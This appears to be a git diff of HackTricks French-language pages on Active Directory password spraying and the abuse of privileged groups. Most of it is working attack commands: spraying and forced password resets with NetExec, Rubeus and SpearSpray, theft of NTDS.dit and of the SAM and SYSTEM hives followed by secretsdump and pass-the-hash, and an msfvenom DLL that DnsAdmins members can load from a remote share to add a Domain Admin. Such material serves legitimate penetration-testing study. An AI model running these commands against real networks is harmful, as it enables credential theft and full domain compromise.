||||
- En utilisant **rpcclient**:
|
||||
- En utilisant **rpcclient** :
|
||||
```bash
|
||||
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
|
||||
for u in $(cat users.txt); do
|
||||
@ -69,7 +84,7 @@ done
|
||||
```
|
||||
#### Depuis Windows
|
||||
|
||||
- Avec [Rubeus](https://github.com/Zer1t0/Rubeus) version avec le module brute:
|
||||
- Avec [Rubeus](https://github.com/Zer1t0/Rubeus) version with brute module:
|
||||
```bash
|
||||
# with a list of users
|
||||
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
||||
@ -77,7 +92,7 @@ done
|
||||
# check passwords for all users in current domain
|
||||
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
||||
```
|
||||
- With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Par défaut, il peut générer les utilisateurs du domaine, récupérer la politique de mot de passe depuis le domaine et limiter les tentatives en conséquence):
|
||||
- Avec [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Il génère par défaut les utilisateurs du domaine, récupère la politique de mot de passe du domaine et limite les tentatives en conséquence):
|
||||
```bash
|
||||
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||
```
|
||||
@ -87,10 +102,10 @@ Invoke-SprayEmptyPassword
|
||||
```
|
||||
### Identifier et prendre le contrôle des comptes "Password must change at next logon" (SAMR)
|
||||
|
||||
Une technique peu bruyante consiste à tester un mot de passe bénin/vide et à détecter les comptes renvoyant STATUS_PASSWORD_MUST_CHANGE, ce qui indique que le mot de passe a été expiré de force et peut être changé sans connaître l'ancien.
|
||||
Une technique à faible bruit consiste à spray un benign/empty password et à détecter les comptes renvoyant STATUS_PASSWORD_MUST_CHANGE, ce qui indique que le password a été expiré de force et peut être changé sans connaître l'ancien.
|
||||
|
||||
Workflow:
|
||||
- Énumérer les utilisateurs (force brute des RID via SAMR) pour constituer la liste des cibles :
|
||||
- Énumérer les utilisateurs (RID brute via SAMR) pour construire la liste des cibles :
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
|
||||
@ -99,12 +114,12 @@ Workflow:
|
||||
# NetExec (null/guest) + RID brute to harvest users
|
||||
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
|
||||
```
|
||||
- Spray un mot de passe vide et continuez sur les hits pour capturer les comptes qui doivent changer au prochain logon:
|
||||
- Spray un mot de passe vide et continuez sur les hits pour capturer les comptes qui doivent changer au prochain logon :
|
||||
```bash
|
||||
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
|
||||
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
|
||||
```
|
||||
- Pour chaque hit, changez le mot de passe via SAMR avec le module de NetExec (aucun ancien mot de passe requis lorsque "must change" est activé) :
|
||||
- Pour chaque hit, changez le mot de passe via SAMR avec le module NetExec (aucun ancien mot de passe nécessaire lorsque "must change" est activé) :
|
||||
```bash
|
||||
# Strong complexity to satisfy policy
|
||||
env NEWPASS='P@ssw0rd!2025#' ; \
|
||||
@ -115,7 +130,7 @@ netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
|
||||
```
|
||||
Notes opérationnelles :
|
||||
- Assurez-vous que l'horloge de votre hôte est synchronisée avec le DC avant les opérations basées sur Kerberos : `sudo ntpdate <dc_fqdn>`.
|
||||
- Un [+] sans (Pwn3d!) dans certains modules (par ex., RDP/WinRM) signifie que les creds sont valides mais que le compte n'a pas les droits d'ouverture de session interactifs.
|
||||
- Un [+] sans (Pwn3d!) dans certains modules (p. ex., RDP/WinRM) signifie que les creds sont valides mais que le compte n'a pas les droits de connexion interactive.
|
||||
|
||||
## Brute Force
|
||||
```bash
|
||||
@ -123,15 +138,15 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password
|
||||
```
|
||||
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
|
||||
|
||||
Le Kerberos pre-auth–based spraying réduit le bruit par rapport aux tentatives de bind SMB/NTLM/LDAP et s'aligne mieux sur les politiques de verrouillage AD. SpearSpray combine LDAP-driven targeting, un pattern engine et une connaissance des politiques (politique de domaine + PSOs + buffer badPwdCount) pour effectuer le spray de manière précise et sûre. Il peut aussi taguer les principaux compromis dans Neo4j pour le pathing BloodHound.
|
||||
Le spraying basé sur Kerberos pre-auth réduit le bruit par rapport aux tentatives de bind SMB/NTLM/LDAP et s'aligne mieux sur les politiques de verrouillage AD. SpearSpray combine le ciblage piloté par LDAP, un moteur de patterns et la prise en compte des politiques (policy de domaine + PSOs + tampon badPwdCount) pour effectuer le spraying de manière précise et sûre. Il peut aussi taguer les principals compromis dans Neo4j pour le pathing BloodHound.
|
||||
|
||||
Key ideas:
|
||||
- Découverte d'utilisateurs LDAP avec pagination et prise en charge de LDAPS, optionnellement en utilisant des filtres LDAP personnalisés.
|
||||
- Filtrage prenant en compte la politique de verrouillage du domaine et les PSOs afin de laisser un tampon de tentatives configurable (seuil) et d'éviter de verrouiller les utilisateurs.
|
||||
- Validation Kerberos pre-auth utilisant des bindings gssapi rapides (génère 4768/4771 sur les DCs au lieu de 4625).
|
||||
- Génération de mots de passe basée sur des patterns, par utilisateur, utilisant des variables comme les noms et des valeurs temporelles dérivées du pwdLastSet de chaque utilisateur.
|
||||
- Contrôle du débit avec threads, jitter et nombre maximal de requêtes par seconde.
|
||||
- Intégration Neo4j optionnelle pour marquer les utilisateurs compromis pour BloodHound.
|
||||
- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
|
||||
- Filtrage tenant compte de la policy de verrouillage du domaine + PSO pour laisser un tampon configurable d'essais (threshold) et éviter de verrouiller les utilisateurs.
|
||||
- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
|
||||
- Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet.
|
||||
- Throughput control with threads, jitter, and max requests per second.
|
||||
- Optional Neo4j integration to mark owned users for BloodHound.
|
||||
|
||||
Basic usage and discovery:
|
||||
```bash
|
||||
@ -165,7 +180,7 @@ Neo4j/BloodHound enrichissement:
|
||||
```bash
|
||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
|
||||
```
|
||||
Vue d'ensemble du système de patterns (patterns.txt):
|
||||
Aperçu du système de modèles (patterns.txt) :
|
||||
```text
|
||||
# Example templates consuming per-user attributes and temporal context
|
||||
{name}{separator}{year}{suffix}
|
||||
@ -174,15 +189,15 @@ Vue d'ensemble du système de patterns (patterns.txt):
|
||||
{samaccountname}
|
||||
{extra}{separator}{year}{suffix}
|
||||
```
|
||||
Available variables include:
|
||||
Variables disponibles :
|
||||
- {name}, {samaccountname}
|
||||
- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
|
||||
- Composition helpers and org token: {separator}, {suffix}, {extra}
|
||||
- Temporels à partir de pwdLastSet (ou whenCreated) de chaque utilisateur : {year}, {short_year}, {month_number}, {month_en}, {season_en}
|
||||
- Aides de composition et org token : {separator}, {suffix}, {extra}
|
||||
|
||||
Operational notes:
|
||||
- Privilégiez l'interrogation du PDC-emulator avec -dc pour lire le badPwdCount le plus autoritatif et les informations liées aux policies.
|
||||
- Les resets de badPwdCount sont déclenchés au prochain essai après la fenêtre d'observation ; utilisez un seuil et un timing pour rester prudent.
|
||||
- Les tentatives de pré-auth Kerberos apparaissent comme 4768/4771 dans la télémétrie DC ; utilisez du jitter et de la limitation de débit pour vous fondre.
|
||||
Remarques opérationnelles :
|
||||
- Privilégiez l'interrogation du PDC-emulator avec -dc pour lire les valeurs de badPwdCount et les informations liées aux politiques les plus fiables.
|
||||
- Les remises à zéro de badPwdCount sont déclenchées lors de la tentative suivante après la fenêtre d'observation ; utilisez un seuil et un timing pour rester prudent.
|
||||
- Les tentatives Kerberos pre-auth apparaissent comme 4768/4771 dans la télémétrie du DC ; utilisez du jitter et du rate-limiting pour vous fondre dans la masse.
|
||||
|
||||
> Astuce : la taille de page LDAP par défaut de SpearSpray est 200 ; ajustez avec -lps si nécessaire.
|
||||
|
||||
@ -190,13 +205,13 @@ Operational notes:
|
||||
|
||||
Il existe plusieurs outils pour p**assword spraying outlook**.
|
||||
|
||||
- Avec [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
|
||||
- Avec [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
|
||||
- Avec [Ruler](https://github.com/sensepost/ruler) (fiable !)
|
||||
- Avec [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
|
||||
- Avec [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
|
||||
- With [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
|
||||
- with [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
|
||||
- With [Ruler](https://github.com/sensepost/ruler) (reliable!)
|
||||
- With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
|
||||
- With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
|
||||
|
||||
Pour utiliser l'un de ces outils, vous avez besoin d'une liste d'utilisateurs et d'un password / d'une petite liste de passwords à spray.
|
||||
Pour utiliser l'un de ces outils, vous avez besoin d'une liste d'utilisateurs et d'un mot de passe / d'une petite liste de mots de passe pour le password spraying.
|
||||
```bash
|
||||
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
||||
[x] Failed: larsson:Summer2020
|
||||
@ -227,6 +242,7 @@ Pour utiliser l'un de ces outils, vous avez besoin d'une liste d'utilisateurs et
|
||||
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
|
||||
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
|
||||
- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
|
||||
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,28 +1,28 @@
|
||||
# Groupes Privilégiés
|
||||
# Groupes privilégiés
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Groupes Bien Connus avec des Privilèges d'Administration
|
||||
## Groupes bien connus disposant de privilèges d'administration
|
||||
|
||||
- **Administrateurs**
|
||||
- **Administrateurs de Domaine**
|
||||
- **Administrateurs d'Entreprise**
|
||||
- **Administrators**
|
||||
- **Domain Admins**
|
||||
- **Enterprise Admins**
|
||||
|
||||
## Opérateurs de Compte
|
||||
## Account Operators
|
||||
|
||||
Ce groupe est habilité à créer des comptes et des groupes qui ne sont pas des administrateurs sur le domaine. De plus, il permet la connexion locale au Contrôleur de Domaine (DC).
|
||||
Ce groupe est habilité à créer des comptes et des groupes qui ne sont pas administrateurs sur le domaine. De plus, il permet la connexion locale au contrôleur de domaine (DC).
|
||||
|
||||
Pour identifier les membres de ce groupe, la commande suivante est exécutée :
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Account Operators" -Recurse
|
||||
```
|
||||
Ajouter de nouveaux utilisateurs est autorisé, ainsi que la connexion locale à DC01.
|
||||
L'ajout de nouveaux utilisateurs est autorisé, ainsi que la connexion locale au DC.
|
||||
|
||||
## Groupe AdminSDHolder
|
||||
## Groupe **AdminSDHolder**
|
||||
|
||||
La liste de contrôle d'accès (ACL) du groupe **AdminSDHolder** est cruciale car elle définit les autorisations pour tous les "groupes protégés" au sein d'Active Directory, y compris les groupes à privilèges élevés. Ce mécanisme garantit la sécurité de ces groupes en empêchant les modifications non autorisées.
|
||||
La Access Control List (ACL) du groupe **AdminSDHolder** est cruciale car elle définit les permissions pour tous les groupes protégés au sein d'Active Directory, y compris les groupes à privilèges élevés. Ce mécanisme garantit la sécurité de ces groupes en empêchant les modifications non autorisées.
|
||||
|
||||
Un attaquant pourrait exploiter cela en modifiant l'ACL du groupe **AdminSDHolder**, accordant des permissions complètes à un utilisateur standard. Cela donnerait effectivement à cet utilisateur un contrôle total sur tous les groupes protégés. Si les permissions de cet utilisateur sont modifiées ou supprimées, elles seraient automatiquement rétablies dans l'heure en raison de la conception du système.
|
||||
Un attaquant pourrait exploiter cela en modifiant l'ACL du groupe **AdminSDHolder**, en accordant des permissions complètes à un utilisateur standard. Cela donnerait effectivement à cet utilisateur le contrôle total sur tous les groupes protégés. Si les permissions de cet utilisateur sont modifiées ou supprimées, elles seraient automatiquement rétablies dans l'heure en raison du fonctionnement du système.
|
||||
|
||||
Les commandes pour examiner les membres et modifier les permissions incluent :
|
||||
```bash
|
||||
@ -32,7 +32,7 @@ Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityRefer
|
||||
```
|
||||
Un script est disponible pour accélérer le processus de restauration : [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
|
||||
|
||||
Pour plus de détails, visitez [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence).
|
||||
Pour plus de détails, consultez [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence).
|
||||
|
||||
## AD Recycle Bin
|
||||
|
||||
@ -40,21 +40,21 @@ L'appartenance à ce groupe permet la lecture des objets Active Directory suppri
|
||||
```bash
|
||||
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
||||
```
|
||||
### Accès au Contrôleur de Domaine
|
||||
### Accès au contrôleur de domaine
|
||||
|
||||
L'accès aux fichiers sur le DC est restreint à moins que l'utilisateur ne fasse partie du groupe `Server Operators`, ce qui modifie le niveau d'accès.
|
||||
L'accès aux fichiers sur le DC est restreint sauf si l'utilisateur fait partie du groupe `Server Operators`, ce qui modifie le niveau d'accès.
|
||||
|
||||
### Élévation de Privilèges
|
||||
### Escalade de privilèges
|
||||
|
||||
En utilisant `PsService` ou `sc` de Sysinternals, on peut inspecter et modifier les permissions des services. Le groupe `Server Operators`, par exemple, a un contrôle total sur certains services, permettant l'exécution de commandes arbitraires et l'élévation de privilèges :
|
||||
En utilisant `PsService` ou `sc` de Sysinternals, on peut inspecter et modifier les permissions des services. Le groupe `Server Operators`, par exemple, dispose d'un contrôle total sur certains services, permettant l'exécution de commandes arbitraires et l'escalade de privilèges :
|
||||
```cmd
|
||||
C:\> .\PsService.exe security AppReadiness
|
||||
```
|
||||
Cette commande révèle que les `Server Operators` ont un accès complet, permettant la manipulation des services pour des privilèges élevés.
|
||||
Cette commande révèle que `Server Operators` disposent d'un accès complet, permettant la manipulation des services pour obtenir des privilèges élevés.
|
||||
|
||||
## Backup Operators
|
||||
|
||||
L'appartenance au groupe `Backup Operators` donne accès au système de fichiers `DC01` en raison des privilèges `SeBackup` et `SeRestore`. Ces privilèges permettent la traversée de dossiers, le listing et la copie de fichiers, même sans autorisations explicites, en utilisant le drapeau `FILE_FLAG_BACKUP_SEMANTICS`. L'utilisation de scripts spécifiques est nécessaire pour ce processus.
|
||||
L'appartenance au groupe `Backup Operators` donne accès au système de fichiers `DC01` grâce aux privilèges `SeBackup` et `SeRestore`. Ces privilèges permettent la traversée de dossiers, l'énumération et la copie de fichiers, même sans permissions explicites, en utilisant le flag `FILE_FLAG_BACKUP_SEMANTICS`. L'utilisation de scripts spécifiques est nécessaire pour ce processus.
|
||||
|
||||
Pour lister les membres du groupe, exécutez :
|
||||
```bash
|
||||
@ -62,7 +62,7 @@ Get-NetGroupMember -Identity "Backup Operators" -Recurse
|
||||
```
|
||||
### Attaque locale
|
||||
|
||||
Pour tirer parti de ces privilèges localement, les étapes suivantes sont employées :
|
||||
Pour exploiter ces privilèges localement, les étapes suivantes sont employées :
|
||||
|
||||
1. Importer les bibliothèques nécessaires :
|
||||
```bash
|
||||
@ -74,18 +74,18 @@ Import-Module .\SeBackupPrivilegeCmdLets.dll
|
||||
Set-SeBackupPrivilege
|
||||
Get-SeBackupPrivilege
|
||||
```
|
||||
3. Accéder et copier des fichiers à partir de répertoires restreints, par exemple :
|
||||
3. Accéder et copier des fichiers depuis des répertoires restreints, par exemple :
|
||||
```bash
|
||||
dir C:\Users\Administrator\
|
||||
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
|
||||
```
|
||||
### AD Attack
|
||||
### Attaque AD
|
||||
|
||||
L'accès direct au système de fichiers du contrôleur de domaine permet le vol de la base de données `NTDS.dit`, qui contient tous les hachages NTLM pour les utilisateurs et les ordinateurs du domaine.
|
||||
L'accès direct au système de fichiers du contrôleur de domaine permet le vol de la base de données `NTDS.dit`, qui contient tous les hashs NTLM des utilisateurs et ordinateurs du domaine.
|
||||
|
||||
#### Using diskshadow.exe
|
||||
#### Utilisation de diskshadow.exe
|
||||
|
||||
1. Create a shadow copy of the `C` drive:
|
||||
1. Créer une shadow copy du lecteur `C` :
|
||||
```cmd
|
||||
diskshadow.exe
|
||||
set verbose on
|
||||
@ -98,7 +98,7 @@ expose %cdrive% F:
|
||||
end backup
|
||||
exit
|
||||
```
|
||||
2. Copier `NTDS.dit` à partir de la copie de sauvegarde :
|
||||
2. Copier `NTDS.dit` depuis la shadow copy :
|
||||
```cmd
|
||||
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
|
||||
```
|
||||
@ -106,7 +106,7 @@ Alternativement, utilisez `robocopy` pour la copie de fichiers :
|
||||
```cmd
|
||||
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
|
||||
```
|
||||
3. Extraire `SYSTEM` et `SAM` pour la récupération des hachages :
|
||||
3. Extraire `SYSTEM` et `SAM` pour récupérer les hash:
|
||||
```cmd
|
||||
reg save HKLM\SYSTEM SYSTEM.SAV
|
||||
reg save HKLM\SAM SAM.SAV
|
||||
@ -115,9 +115,17 @@ reg save HKLM\SAM SAM.SAV
|
||||
```shell-session
|
||||
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
|
||||
```
|
||||
5. Après extraction : Pass-the-Hash vers DA
|
||||
```bash
|
||||
# Use the recovered Administrator NT hash to authenticate without the cleartext password
|
||||
netexec winrm <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> -x "whoami"
|
||||
|
||||
# Or execute via SMB using an exec method
|
||||
netexec smb <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> --exec-method smbexec -x cmd
|
||||
```
|
||||
#### Utilisation de wbadmin.exe
|
||||
|
||||
1. Configurez le système de fichiers NTFS pour le serveur SMB sur la machine de l'attaquant et mettez en cache les identifiants SMB sur la machine cible.
|
||||
1. Configurez un système de fichiers NTFS pour le serveur SMB sur la machine attaquante et mettez en cache les identifiants SMB sur la machine cible.
|
||||
2. Utilisez `wbadmin.exe` pour la sauvegarde système et l'extraction de `NTDS.dit` :
|
||||
```cmd
|
||||
net use X: \\<AttackIP>\sharename /user:smbuser password
|
||||
@ -126,23 +134,29 @@ wbadmin get versions
|
||||
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
|
||||
```
|
||||
|
||||
Pour une démonstration pratique, voir [VIDÉO DE DÉMO AVEC IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s).
|
||||
Pour une démonstration pratique, voir [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s).
|
||||
|
||||
## DnsAdmins
|
||||
|
||||
Les membres du groupe **DnsAdmins** peuvent exploiter leurs privilèges pour charger une DLL arbitraire avec des privilèges SYSTEM sur un serveur DNS, souvent hébergé sur des contrôleurs de domaine. Cette capacité permet un potentiel d'exploitation significatif.
|
||||
Les membres du groupe **DnsAdmins** peuvent exploiter leurs privilèges pour charger une DLL arbitraire avec les privilèges SYSTEM sur un serveur DNS, souvent hébergé sur des Domain Controllers. Cette capacité offre un fort potentiel d'exploitation.
|
||||
|
||||
Pour lister les membres du groupe DnsAdmins, utilisez :
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
|
||||
```
|
||||
### Exécuter un DLL arbitraire
|
||||
### Exécuter une DLL arbitraire (CVE‑2021‑40469)
|
||||
|
||||
Les membres peuvent faire en sorte que le serveur DNS charge un DLL arbitraire (soit localement, soit à partir d'un partage distant) en utilisant des commandes telles que :
|
||||
> [!NOTE]
|
||||
> Cette vulnérabilité permet l'exécution de code arbitraire avec les privilèges SYSTEM dans le service DNS (généralement à l'intérieur des DCs). Ce problème a été corrigé en 2021.
|
||||
|
||||
Les membres peuvent forcer le serveur DNS à charger une DLL arbitraire (soit localement, soit depuis un partage distant) en utilisant des commandes telles que:
|
||||
```bash
|
||||
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
|
||||
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
|
||||
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
|
||||
|
||||
# If dnscmd is not installed run from aprivileged PowerShell session:
|
||||
Install-WindowsFeature -Name RSAT-DNS-Server -IncludeManagementTools
|
||||
```
|
||||
|
||||
```c
|
||||
@ -158,86 +172,90 @@ system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /doma
|
||||
// Generate DLL with msfvenom
|
||||
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
|
||||
```
|
||||
Redémarrer le service DNS (ce qui peut nécessiter des autorisations supplémentaires) est nécessaire pour que le DLL soit chargé :
|
||||
Redémarrer le service DNS (ce qui peut nécessiter des autorisations supplémentaires) est nécessaire pour que la DLL soit chargée :
|
||||
```csharp
|
||||
sc.exe \\dc01 stop dns
|
||||
sc.exe \\dc01 start dns
|
||||
```
|
||||
Pour plus de détails sur ce vecteur d'attaque, référez-vous à ired.team.
|
||||
Pour plus de détails sur ce vecteur d'attaque, consultez ired.team.
|
||||
|
||||
#### Mimilib.dll
|
||||
|
||||
Il est également possible d'utiliser mimilib.dll pour l'exécution de commandes, en le modifiant pour exécuter des commandes spécifiques ou des shells inversés. [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) pour plus d'informations.
|
||||
Il est également possible d'utiliser mimilib.dll pour l'exécution de commandes, en le modifiant pour exécuter des commandes spécifiques ou des reverse shells. [Consultez cet article](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) pour plus d'informations.
|
||||
|
||||
### Enregistrement WPAD pour MitM
|
||||
|
||||
Les DnsAdmins peuvent manipuler les enregistrements DNS pour effectuer des attaques Man-in-the-Middle (MitM) en créant un enregistrement WPAD après avoir désactivé la liste de blocage des requêtes globales. Des outils comme Responder ou Inveigh peuvent être utilisés pour usurper et capturer le trafic réseau.
|
||||
Les membres de DnsAdmins peuvent manipuler les enregistrements DNS pour réaliser des attaques Man-in-the-Middle (MitM) en créant un enregistrement WPAD après avoir désactivé la liste globale de blocage des requêtes. Des outils comme Responder ou Inveigh peuvent être utilisés pour le spoofing et la capture du trafic réseau.
|
||||
|
||||
### Lecteurs de journaux d'événements
|
||||
### Event Log Readers
|
||||
Les membres peuvent accéder aux journaux d'événements, trouvant potentiellement des informations sensibles telles que des mots de passe en clair ou des détails d'exécution de commandes :
|
||||
```bash
|
||||
# Get members and search logs for sensitive information
|
||||
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
|
||||
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
|
||||
```
|
||||
## Permissions Windows d'Exchange
|
||||
## Autorisations Exchange Windows
|
||||
|
||||
Ce groupe peut modifier les DACL sur l'objet de domaine, accordant potentiellement des privilèges DCSync. Les techniques d'escalade de privilèges exploitant ce groupe sont détaillées dans le dépôt GitHub Exchange-AD-Privesc.
|
||||
Ce groupe peut modifier les DACLs sur l'objet de domaine, accordant potentiellement les privilèges DCSync. Les techniques d'escalade de privilèges exploitant ce groupe sont détaillées dans le repo GitHub Exchange-AD-Privesc.
|
||||
```bash
|
||||
# List members
|
||||
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
|
||||
```
|
||||
## Administrateurs Hyper-V
|
||||
## Hyper-V Administrators
|
||||
|
||||
Les administrateurs Hyper-V ont un accès complet à Hyper-V, ce qui peut être exploité pour prendre le contrôle des contrôleurs de domaine virtualisés. Cela inclut le clonage de DCs en direct et l'extraction des hachages NTLM du fichier NTDS.dit.
|
||||
Hyper-V Administrators ont un accès complet à Hyper-V, ce qui peut être exploité pour prendre le contrôle de Domain Controllers virtualisés. Cela inclut le clonage de contrôleurs de domaine (DC) actifs et l'extraction des hashes NTLM du fichier NTDS.dit.
|
||||
|
||||
### Exemple d'exploitation
|
||||
### Exploitation Example
|
||||
|
||||
Le service de maintenance de Mozilla Firefox peut être exploité par les administrateurs Hyper-V pour exécuter des commandes en tant que SYSTEM. Cela implique de créer un lien dur vers un fichier SYSTEM protégé et de le remplacer par un exécutable malveillant :
|
||||
Le Mozilla Maintenance Service de Firefox peut être exploité par les Hyper-V Administrators pour exécuter des commandes en tant que SYSTEM. Cela implique de créer un hard link vers un fichier SYSTEM protégé et de le remplacer par un exécutable malveillant :
|
||||
```bash
|
||||
# Take ownership and start the service
|
||||
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
|
||||
sc.exe start MozillaMaintenance
|
||||
```
|
||||
Note: L'exploitation des liens durs a été atténuée dans les mises à jour récentes de Windows.
|
||||
Remarque : Hard link exploitation a été atténuée dans les récentes mises à jour de Windows.
|
||||
|
||||
## Gestion de l'Organisation
|
||||
## Group Policy Creators Owners
|
||||
|
||||
Dans les environnements où **Microsoft Exchange** est déployé, un groupe spécial connu sous le nom de **Gestion de l'Organisation** détient des capacités significatives. Ce groupe a le privilège d'**accéder aux boîtes aux lettres de tous les utilisateurs du domaine** et maintient **un contrôle total sur l'Unité Organisationnelle (OU) 'Groupes de Sécurité Microsoft Exchange'**. Ce contrôle inclut le groupe **`Exchange Windows Permissions`**, qui peut être exploité pour l'escalade de privilèges.
|
||||
Ce groupe permet à ses membres de créer des Group Policies dans le domaine. Cependant, ses membres ne peuvent pas appliquer de Group Policies aux utilisateurs ou aux groupes, ni modifier les GPOs existants.
|
||||
|
||||
### Exploitation des Privilèges et Commandes
|
||||
## Organization Management
|
||||
|
||||
#### Opérateurs d'Impression
|
||||
Dans les environnements où Microsoft Exchange est déployé, un groupe spécial appelé Organization Management dispose de capacités importantes. Ce groupe a le privilège d'accéder aux boîtes aux lettres de tous les utilisateurs du domaine et possède le contrôle total sur l'Organizational Unit (OU) 'Microsoft Exchange Security Groups'. Ce contrôle inclut le groupe Exchange Windows Permissions, qui peut être exploité pour privilege escalation.
|
||||
|
||||
Les membres du groupe **Opérateurs d'Impression** sont dotés de plusieurs privilèges, y compris le **`SeLoadDriverPrivilege`**, qui leur permet de **se connecter localement à un Contrôleur de Domaine**, de l'éteindre et de gérer les imprimantes. Pour exploiter ces privilèges, surtout si **`SeLoadDriverPrivilege`** n'est pas visible dans un contexte non élevé, il est nécessaire de contourner le Contrôle de Compte Utilisateur (UAC).
|
||||
### Exploitation des privilèges et commandes
|
||||
|
||||
Pour lister les membres de ce groupe, la commande PowerShell suivante est utilisée :
|
||||
#### Print Operators
|
||||
|
||||
Les membres du groupe Print Operators disposent de plusieurs privilèges, y compris le SeLoadDriverPrivilege, qui leur permet de se connecter localement à un Domain Controller, de l'arrêter et de gérer les imprimantes. Pour exploiter ces privilèges, en particulier si SeLoadDriverPrivilege n'est pas visible dans un contexte non élevé, il est nécessaire de contourner User Account Control (UAC).
|
||||
|
||||
Pour lister les membres de ce groupe, utilisez la commande PowerShell suivante :
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Print Operators" -Recurse
|
||||
```
|
||||
Pour des techniques d'exploitation plus détaillées liées à **`SeLoadDriverPrivilege`**, il convient de consulter des ressources de sécurité spécifiques.
|
||||
Pour des techniques d'exploitation plus détaillées liées à **`SeLoadDriverPrivilege`**, consultez des ressources de sécurité spécialisées.
|
||||
|
||||
#### Utilisateurs de Bureau à Distance
|
||||
#### Utilisateurs du Bureau à distance
|
||||
|
||||
Les membres de ce groupe se voient accorder l'accès aux PC via le protocole de bureau à distance (RDP). Pour énumérer ces membres, des commandes PowerShell sont disponibles :
|
||||
Les membres de ce groupe se voient accorder l'accès aux PC via le protocole Remote Desktop (RDP). Pour énumérer ces membres, des commandes PowerShell sont disponibles :
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
|
||||
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
|
||||
```
|
||||
